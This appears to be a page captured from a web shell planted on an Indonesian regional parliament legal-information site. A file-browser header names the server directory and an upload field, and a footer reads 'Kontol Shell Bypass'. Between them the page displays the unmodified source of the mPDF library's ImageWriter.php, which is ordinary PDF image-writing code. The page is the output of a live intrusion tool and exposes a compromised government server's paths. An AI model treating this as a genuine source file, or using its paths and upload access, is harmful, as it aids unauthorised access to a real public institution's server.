ikan Uploader :
Directory : /www/wwwroot/jdih.dprd.mukomukokab.go.id/ildis_v4/vendor/mpdf/mpdf/src/Writer/
Upload File : |
| Current File : /www/wwwroot/jdih.dprd.mukomukokab.go.id/ildis_v4/vendor/mpdf/mpdf/src/Writer/ImageWriter.php |
<?php
namespace Mpdf\Writer;
use Mpdf\Strict;
use Mpdf\Mpdf;
final class ImageWriter
{
use Strict;
/**
* @var \Mpdf\Mpdf
*/
private $mpdf;
/**
* @var \Mpdf\Writer\BaseWriter
*/
private $writer;
public function __construct(Mpdf $mpdf, BaseWriter $writer)
{
$this->mpdf = $mpdf;
$this->writer = $writer;
}
public function writeImages()
{
$filter = $this->mpdf->compress ? '/Filter /FlateDecode ' : '';
foreach ($this->mpdf->images as $file => $info) {
$this->writer->object();
$this->mpdf->images[$file]['n'] = $this->mpdf->n;
$this->writer->write('<</Type /XObject');
$this->writer->write('/Subtype /Image');
$this->writer->write('/Width ' . $info['w']);
$this->writer->write('/Height ' . $info['h']);
if (isset($info['interpolation']) && $info['interpolation']) {
$this->writer->write('/Interpolate true'); // mPDF 6 - image interpolation shall be performed by a conforming reader
}
if (isset($info['masked'])) {
$this->writer->write('/SMask ' . ($this->mpdf->n - 1) . ' 0 R');
}
// set color space
$icc = false;
if (isset($info['icc']) && ( $info['icc'] !== false)) {
// ICC Colour Space
$icc = true;
$this->writer->write('/ColorSpace [/ICCBased ' . ($this->mpdf->n + 1) . ' 0 R]');
} elseif ($info['cs'] === 'Indexed') {
if ($this->mpdf->PDFX || ($this->mpdf->PDFA && $this->mpdf->restrictColorSpace === 3)) {
throw new \Mpdf\MpdfException('PDFA1-b and PDFX/1-a files do not permit using mixed colour space (' . $file . ').');
}
$this->writer->write('/ColorSpace [/Indexed /DeviceRGB ' . (strlen($info['pal']) / 3 - 1) . ' ' . ($this->mpdf->n + 1) . ' 0 R]');
} else {
$this->writer->write('/ColorSpace /' . $info['cs']);
if ($info['cs'] === 'DeviceCMYK') {
if ($this->mpdf->PDFA && $this->mpdf->restrictColorSpace !== 3) {
throw new \Mpdf\MpdfException('PDFA1-b does not permit Images using mixed colour space (' . $file . ').');
}
if ($info['type'] === 'jpg') {
$this->writer->write('/Decode [1 0 1 0 1 0 1 0]');
}
} elseif (($this->mpdf->PDFX || ($this->mpdf->PDFA && $this->mpdf->restrictColorSpace === 3)) && $info['cs'] === 'DeviceRGB') {
throw new \Mpdf\MpdfException('PDFA1-b and PDFX/1-a files do not permit using mixed colour space (' . $file . ').');
}
}
$this->writer->write('/BitsPerComponent ' . $info['bpc']);
if (isset($info['f']) && $info['f']) {
$this->writer->write('/Filter /' . $info['f']);
}
if (isset($info['parms'])) {
$this->writer->write($info['parms']);
}
if (isset($info['trns']) && is_array($info['trns'])) {
$trns = '';
$maskCount = count($info['trns']);
for ($i = 0; $i < $maskCount; $i++) {
$trns .= $info['trns'][$i] . ' ' . $info['trns'][$i] . ' ';
}
$this->writer->write('/Mask [' . $trns . ']');
}
$this->writer->write('/Length ' . strlen($info['data']) . '>>');
$this->writer->stream($info['data']);
unset($this->mpdf->images[$file]['data']);
$this->writer->write('endobj');
if ($icc) { // ICC colour profile
$this->writer->object();
$icc = $this->mpdf->compress ? gzcompress($info['icc']) : $info['icc'];
$this->writer->write('<</N ' . $info['ch'] . ' ' . $filter . '/Length ' . strlen($icc) . '>>');
$this->writer->stream($icc);
$this->writer->write('endobj');
} elseif ($info['cs'] === 'Indexed') { // Palette
$this->writer->object();
$pal = $this->mpdf->compress ? gzcompress($info['pal']) : $info['pal'];
$this->writer->write('<<' . $filter . '/Length ' . strlen($pal) . '>>');
$this->writer->stream($pal);
$this->writer->write('endobj');
}
}
}
}
Kontol Shell Bypass